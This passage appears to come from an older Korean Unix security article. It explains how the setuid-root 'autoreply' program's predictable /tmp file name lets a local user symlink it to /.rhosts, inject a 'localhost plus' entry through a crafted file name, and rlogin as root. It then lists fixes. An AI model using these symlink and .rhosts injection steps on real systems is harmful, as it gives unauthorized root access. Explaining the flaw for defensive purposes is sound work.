라는 줄을 추가한다.(순서대로 '사용자', '파일이름', '파일크기').
그 후에 사용자가

% autoreply off

라는 명령을 실행하면 autoreply는 /etc/autoreply.data에서 'plus'를 빼는데, 파일 중간에서 한 줄을 빼는 시스템 콜은 없으 므로, /tmp/arep.PID(만일 가 자리가 안 되면 왼쪽에 을 채워 자리로 만든다)라는 이름의 파일을 만들어 /etc/autoreply.data에 서 'plus'로 시작하는 줄을 뺀 나머지를 복사한 후 그 내용을 다시 /etc/autoreply.data로 복사하게 된다.
즉, autoreply는 /etc/autoreply.data에 쓰기 위하여 setuid가 필요한데, setuid가 붙은 프로그램은 실행되는 동안 계속 그 파 일 소유주(여기서는 루트)의 권한을 가지게 된다. 더욱이 다음의 예에서 autoreply가 만드는 임시 파일의 이름을 미리 알아낼 수 있다는 것을 알 수 있다.

% cat > getname
#!/bin/sh
echo $$ | awk '{printf "/tmp/arep.%06d",$1}'
exec autoreply off
% chmod 700 getname
% ./getname
/tmp/arep.019682

따라서 만약 부정한 사용자가 autoreply off하기 전에 미리 임의의 파일을 임시 파일이름으로 심볼릭 링크해 두면, autoreply는 임시 파일에 autoreply.data의 내용을 복제할 때에도 루트의 권한을 가지므로 심볼릭 링크가 된 파일에 autoreply.data의 내용 을 복제할 수 있다.
따라서 autoreply.data의 내용을 임의로 조작하여 사용자가 임의의 파일에 임의의 내용을 적을 수 있다는 문제가 있는 것이다. 하지만 해킹 경험이 없는 사람은 다음과 같이 생각할 수도 있다.
"그래, 위험하긴 하겠군 그래. 중요한 파일에 엉뚱한 내용을 써 버린다면 시스템의 동작이 이상해지겠지? 하지만 이래가 지고서야 쓰고 싶은 대로 쓸 수가 없잖아? autoreply가 쓰는 내용이라면 뻔하니 말이야. 모처럼 루트 권한으로 파일에 쓰는 건데 ..."
물론 autoreply가 쓰는 내용은 정해져 있다. 하지만 우리는 그 정해진 내용을 이용해서 '어느정도' 우리가 원하는 내용을 적을 수 있다. 여기서 어느 정도란 whoami라고 쳐서 root라고 나오게 하는 정도이다.
Autoreply가 만드는 임시 파일에는 사용자, 파일 이름, 파일 크기가 적힌다. 사용자와 파일 크기는 어찌 해볼 도리가 없지만 파일 이름은 우리가 정하는 대로이다. 따라서 우리는

a
localhost plus
b

라는 이름의 파일을 만드는 것이다. 그리고 임시 파일 이름을 /.rhosts에 심볼릭 링크해 두면 /.rhosts에는 다음과 같은 줄이 생긴다.

plus a
localhost plus
b 0

/.rhosts가 어떤 파일인지는 모두 알 것이고 이제 남은 것은 rlogin을 실행시키는 것뿐이다.

% rlogin isis -1 root
# whoami
root

이상에서 다룬 문제는 autoreply만의 것이라기 보다는 setuid가 붙은 모든 실행파일이 잠재적으로 안고 있는 문제로 setuid가 붙은 파일이 실행 기간 내내 루트의 권한을 가지도록하는 지금의 문제가 있다는 것을 의미한다. 프로세스가 동작하다가 특수한 명령__루트만이 줄 수 있는__을 주면 루트와 같은 권한을 갖고, 다시 명령을 주면 보통의 상태로 돌아가도록 하는 방식이 더 낫 다고 본다(물론 이를 위해서는 운영체제를 고쳐야 한다).
그러면 autoreply와 같은 프로그램도 소유주와 setuid는 지금과 같이 유지하면서도 약간의 코드 수정__/etc 디렉토리 내의 파 일을 조작할 때만 '특수 모드'로 들어 가도록__으로 안전하게, 원하는 기능을 수행하게 할 수 있다.

2 대응책

문제의 핵심은 누구나 autoreply가 쓰는 임시 파일의 이름을 알아내어 그이름에 중요한 파일을 심볼릭 링크해 둘 수 있다는 것 이다. 따라서 해결방법은 다음과 같이 세 가지로 생각해 볼 수 있다.

·첫째. 임시 파일 이름을 만들때 지금처럼 PID만을 이용하지 말고 와 함께 라이브러리 함수인 tmpnam() 또는 tempnam()을 이 용하는 것이다. 그러면 사용자는 임시 파일의 이름을 알기가 아주 어렵게 되어 심볼릭 링크를 할 수 없게 된다.

이때, PID없이 tmpnam() 또는 tempnam()만으로 임시 파일의 이름을 만들면 몇가지 문제가 생길 수 있다. 하나는 유닉스는 멀티 태스킹, 멀티 유저 운영체제로서 동시에 여러 사람이 동시에 일을 할 수 있기 때문인데, autoreply또한 예외가 아니므로 만약 a utoreply를 여러사람이 동시에 실행할 때 공교롭게도 tmpnam()이 두 사람에게 같은 파일 이름을 준다면--tmpnam()은 서로 다른 프로세스에게 서로 다른 임시 파일 이름을 준다고 보장할 수 없다.--두 사람의 autoreply는 엉망이 되고 말 것이다.

또 하나는 위의 라이브러리 함수가 대부분 계속 새로운 임시 파일 이름을 만들어내는 것이 아니라 미리 저장된 임시 이름을 계 속 순환시키면서 주기 때문에, 반복하여 실행시키면 같은 이름의 임시 파일이 만들어지게 된다는 것이다. 따라서 유닉스에서 공 용의 특정 디렉토리--예를 들어 /tmp에 임시 파일을 만들때, 또는 보안이 요구될 때에는 임시 파일 이름에 PID를 함께 넣는 것이 좋다.

·둘째. 임시 파일을 열기 전에 그 이름과 같은 이름을 가진 파일이 있는지 검사한다. 부정한 사용자가 미리 심볼릭 링크를 해 두었다면 임시 파일과 같은 이름의 파일이 있을 것이므로 이 경우에는 에러 메시지를 내고 실행을 멈추면 된다.

·셋째. 그리 좋은 방법은 아니지만 임시 파일을 아무나 쓸 수 있는 /tmp디렉토리 대신에 root만 쓸 수 있는 /etc등에 만드는 것이다. 그러면 부정한 사용자가 심볼릭 링크를 만들 수 없으므로 별 문제는 없다. 하지만 /etc디렉토리가 임시 파일을 만드는 곳으로 쓰인다는 것은 별로 바람직해 보이지 않는다.

덧붙여서, 콘솔을 unsecure하다고 설정하는 것도 도움이 될 수 있다. 콘솔이 unsecure하다고 되어 있으면 루트가 직접 로그인하 는 것을 허용하지 않으므로 등을 통하여 루트로 로그인하는 것을 막을 수 있기 때문이다.
현재로서는 대부분의 시스템에서 autoreply의 setuid를 떼어 아예 쓰지 못하게 해 두어야 한다.
  • .....Tool이용

    침입수법--general--